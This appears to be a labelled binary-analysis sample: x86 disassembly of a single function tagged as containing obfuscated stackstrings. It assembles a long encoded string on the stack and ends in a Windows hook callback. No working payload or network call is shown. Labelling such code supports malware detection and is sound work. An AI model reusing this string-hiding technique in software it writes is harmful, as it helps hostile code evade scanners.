Function at 0x1005d955
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xd50
mov eax, 0x1008d622
call fcn.1005ee55
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.100616d0
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.100534e7
push eax
lea ecx, [ebp - 0xc80]
call fcn.1005003b
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1005dd2f
cmp dword [edi + 8], 0x4a
jne 0x1005dd2f
mov esi, dword [edi]
test esi, esi
je 0x1005dd2f
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1005dd21
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
push 0x64
pop eax
mov ecx, 0x30a
mov byte [ebp - 0xd2a], al
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xce4], al
mov byte [ebp - 0xcd9], al
mov byte [ebp - 0xcc1], al
mov byte [ebp - 0xcbc], al
lea eax, [ebp - 0xb53]
push eax
lea eax, [ebp - 0xc7c]
mov byte [ebp - 0xc84], bl
push eax
lea eax, [ebp - 0xc57]
movsw word es:[edi], word [esi]
push eax
push ebx
sub esp, 0xc
mov dword [ebp - 0xd4c], 0x6e45534e
mov ecx, esp
mov dword [ebp - 0xd48], 0x77515742
lea eax, [ebp - 0xc85]
mov dword [ebp - 0xd44], 0x33496e43
mov dword [ebp - 0xd40], 0x33593343
push dword [ebp - 0xc84]
mov dword [ebp - 0xd3c], 0x68735241
mov dword [ebp - 0xd38], 0x55495246
mov dword [ebp - 0xd34], 0x626f4448
mov dword [ebp - 0xd30], 0x62346962
mov word [ebp - 0xd2c], 0x7950
mov dword [ebp - 0xd29], 0x4d414e30
mov dword [ebp - 0xd25], 0x41415941
mov dword [ebp - 0xd21], 0x45444344
mov dword [ebp - 0xd1d], 0x4977596f
mov dword [ebp - 0xd19], 0x59694751
mov dword [ebp - 0xd15], 0x67584a49
mov dword [ebp - 0xd11], 0x30684e4a
mov dword [ebp - 0xd0d], 0x416d4973
mov dword [ebp - 0xd09], 0x77674751
mov dword [ebp - 0xd05], 0x4e774844
mov dword [ebp - 0xd01], 0x55534b76
mov dword [ebp - 0xcfd], 0x6f51487a
mov dword [ebp - 0xcf9], 0x51434f52
mov dword [ebp - 0xcf5], 0x49444d6d
mov dword [ebp - 0xcf1], 0x63444275
mov dword [ebp - 0xced], 0x30514e70
mov dword [ebp - 0xce9], 0x63774158
mov byte [ebp - 0xce5], 0x48
mov dword [ebp - 0xce3], 0x492f6b79
mov dword [ebp - 0xcdf], 0x466d4e78
mov word [ebp - 0xcdb], 0x5958
mov dword [ebp - 0xcd8], 0x6d35784b
mov dword [ebp - 0xcd4], 0x2b515148
mov dword [ebp - 0xcd0], 0x6c454448
mov dword [ebp - 0xccc], 0x77356743
mov dword [ebp - 0xcc8], 0x4959535a
mov word [ebp - 0xcc4], 0x5259
mov byte [ebp - 0xcc2], 0x55
mov dword [ebp - 0xcc0], 0x365a5743
mov dword [ebp - 0xcbb], 0x466c6854
mov dword [ebp - 0xcb7], 0x4a6b3441
mov dword [ebp - 0xcb3], 0x44386b43
mov dword [ebp - 0xcaf], 0x497a6f67
mov dword [ebp - 0xcab], 0x486d5a54
mov dword [ebp - 0xca7], 0x5975557a
mov dword [ebp - 0xca3], 0x42434d44
mov dword [ebp - 0xc9f], 0x424e6378
mov dword [ebp - 0xc9b], 0x49314e58
mov dword [ebp - 0xc97], 0x434a5542
mov dword [ebp - 0xc93], 0x4b423852
mov dword [ebp - 0xc8f], 0x422b5658
mov dword [ebp - 0xc8b], 0x41414151
mov word [ebp - 0xc87], 0x5549
push eax
mov dword [ecx], ebx
lea eax, [ebp - 0xd4c]
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
push eax
call fcn.1004f7d5
lea eax, [ebp - 0xd5c]
push eax
call fcn.10052979
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1005c5aa
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.10052fd6
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd5c]
call fcn.1005c3f0
push 0x3c
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.100616d0
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.100501b4
lea ecx, [ebp - 0x50]
call fcn.10050283
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.10051151
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10051151
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.10051151
mov esi, dword [ebp - 0xc80]
lea eax, [ebp - 0x50]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0xc84], esp
push esi
call fcn.100501b4
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.10050126
mov byte [ebp - 4], 3
call fcn.100585bf
add esp, 0xc
call fcn.1006946d
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1005dd14
lea eax, [ebp - 0x50]
push eax
call fcn.100571ab
pop ecx
lea ecx, [ebp - 0x50]
call fcn.10050ddb
lea ecx, [esi - 0x10]
jmp 0x1005dd46
cmp eax, 0x4d835
jne 0x1005dd2f
push ebx
call fcn.1005af8a
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.10056e89
call fcn.1005eda2
ret 0xc